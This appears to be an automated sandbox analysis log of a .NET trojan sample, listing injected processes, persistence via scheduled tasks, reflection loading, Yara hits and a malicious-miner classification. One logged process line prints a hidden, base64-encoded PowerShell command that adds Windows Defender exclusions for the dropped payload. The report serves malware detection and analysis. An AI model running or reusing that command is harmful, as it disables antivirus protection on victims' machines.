Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe

Code function: 3_2_00007FFD9BA2407D NtUnmapViewOfSection,

3_2_00007FFD9BA2407D

Detected potential crypto function

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9B8B5183	0_2_00007FFD9B8B5183
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9B8B1EA8	0_2_00007FFD9B8B1EA8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9BA33100	0_2_00007FFD9BA33100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9BA3172D	0_2_00007FFD9BA3172D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9BA33E70	0_2_00007FFD9BA33E70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9BA32ED0	0_2_00007FFD9BA32ED0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9BA362D0	0_2_00007FFD9BA362D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9BA382A0	0_2_00007FFD9BA382A0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B9630E9	1_2_00007FFD9B9630E9
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Code function: 3_2_00007FFD9B8A5183	3_2_00007FFD9B8A5183
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Code function: 3_2_00007FFD9BA20058	3_2_00007FFD9BA20058
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8D09F0	4_2_00007FFD9B8D09F0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8D3C70	4_2_00007FFD9B8D3C70
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8D8810	4_2_00007FFD9B8D8810
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8D26E0	4_2_00007FFD9B8D26E0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8F05D2	4_2_00007FFD9B8F05D2
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8DFA89	4_2_00007FFD9B8DFA89
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8D4AD8	4_2_00007FFD9B8D4AD8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8D3214	4_2_00007FFD9B8D3214
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8EF826	4_2_00007FFD9B8EF826
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8CD5B8	4_2_00007FFD9B8CD5B8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8C6A45	4_2_00007FFD9B8C6A45
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8962A5	4_2_00007FFD9B8962A5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B895183	4_2_00007FFD9B895183
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B970F04	4_2_00007FFD9B970F04
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B973170	4_2_00007FFD9B973170
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B973121	4_2_00007FFD9B973121
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA1D379	4_2_00007FFD9BA1D379
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA150F2	4_2_00007FFD9BA150F2
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA14FFB	4_2_00007FFD9BA14FFB
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA1F70C	4_2_00007FFD9BA1F70C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA14EFA	4_2_00007FFD9BA14EFA
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Code function: 9_2_00007FFD9B8962A5	9_2_00007FFD9B8962A5
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Code function: 9_2_00007FFD9B895183	9_2_00007FFD9B895183

PE file does not import any functions

Source: Target.exe.0.dr	Static PE information: No import functions for PE file found
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Static PE information: No import functions for PE file found

Sample file is different than original file name gathered from version info

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10306000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIazura.dll" vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1682559245.000001FC725F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameIazura.dll" vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC106DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1675197443.000001FC00001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIazura.dll" vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1675197443.000001FC00001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681802941.000001FC71D90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000000.1643667569.000001FC700E6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHywjlgj.exe" vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1681644399.000001FC71D40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC10753000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, 00000000.00000002.1677637412.000001FC103F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIazura.dll" vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Binary or memory string: OriginalFilenameHywjlgj.exe" vs SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Target.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, Error.cs	Cryptographic APIs: 'CreateDecryptor'
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, Error.cs	Cryptographic APIs: 'CreateDecryptor'
Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, Schema.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@8/9@2/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe

File created: C:\Users\user\AppData\Roaming\XsdType

Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\26d19999dcc6916aedeba96cfef5e476
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6524:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\82e85a26f7a113e44c1826

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWABzAGQAVAB5AHAAZQBcAFQAYQByAGcAZQB0AC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWABzAGQAVAB5AHAAZQBcAFQAYQByAGcAZQB0AC4AZQB4AGUA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XsdType\Target.exe C:\Users\user\AppData\Roaming\XsdType\Target.exe
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XsdType\Target.exe C:\Users\user\AppData\Roaming\XsdType\Target.exe
Source: C:\Users\user\AppData\Roaming\XsdType\Target.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Jump to behavior

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe, Schema.cs	.Net Code: ForgotSchema System.Reflection.Assembly.Load(byte[])
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d90000.11.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc107030b0.0.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc1068b040.5.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc1068b040.5.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc1068b040.5.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc1068b040.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc1068b040.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d40000.10.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d40000.10.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d40000.10.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d40000.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc71d40000.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Source: Yara match	File source: 3.2.Target.exe.1b0cabd63b0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Target.exe.1b0cac763e8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc10306308.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Target.exe.1f51e355560.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Target.exe.1f51e37d598.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc105363b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc10306308.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Target.exe.1f51e5d63e8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Target.exe.1f51e5363b0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc105d63e8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc1032e340.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Target.exe.1f50e09c528.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe.1fc70500000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Target.exe.1f51e355560.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.Target.exe.1f50e09c528.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1677637412.000001FC10306000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1723437634.000001B0CAC76000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1677637412.000001FC105D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1675197443.000001FC00001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1723437634.000001B0CABD6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1681390450.000001FC70500000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1677637412.000001FC10536000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2236493693.000001F51E536000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2236493693.000001F51E5D6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2236493693.000001F51E306000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1710027843.000001B0BA6A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2232552237.000001F50E018000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4115219254.000001DC43E21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe PID: 6256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Target.exe PID: 6616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Target.exe PID: 1544, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9BA35A95 push ecx; retf 5F33h	0_2_00007FFD9BA35ADC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9BA3842E pushad ; ret	0_2_00007FFD9BA3845D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Code function: 0_2_00007FFD9BA3845E push eax; ret	0_2_00007FFD9BA3846D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B77D2A5 pushad ; iretd	1_2_00007FFD9B77D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8985FA push ebx; retn 000Ah	1_2_00007FFD9B89863A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B89863D push ebx; retn 000Ah	1_2_00007FFD9B89863A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B890952 push E95ADAD0h; ret	1_2_00007FFD9B8909C9
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8CD88B push 8B485F4Ah; iretd	4_2_00007FFD9B8CD890
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8E3231 push eax; retf	4_2_00007FFD9B8E3249
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8FB0EB push ds; iretd	4_2_00007FFD9B8FB12F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8CD851 push 8B485F4Ah; iretd	4_2_00007FFD9B8CD85B
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8C3BCD push ebp; retf	4_2_00007FFD9B8C3BD0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8B9338 push esp; ret	4_2_00007FFD9B8B9549
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9B8C60B5 pushfd ; ret	4_2_00007FFD9B8C60F1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA229DA push eax; retf	4_2_00007FFD9BA229FD
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA1785E push eax; iretd	4_2_00007FFD9BA1786D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA17850 pushad ; iretd	4_2_00007FFD9BA1785D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA1757B push ebx; iretd	4_2_00007FFD9BA1756A
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Code function: 4_2_00007FFD9BA1755A push ebx; iretd	4_2_00007FFD9BA1756A

Source: SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	Static PE information: section name: .text entropy: 7.958809477078381
Source: Target.exe.0.dr	Static PE information: section name: .text entropy: 7.958809477078381

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject4.56087.24588.10142.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
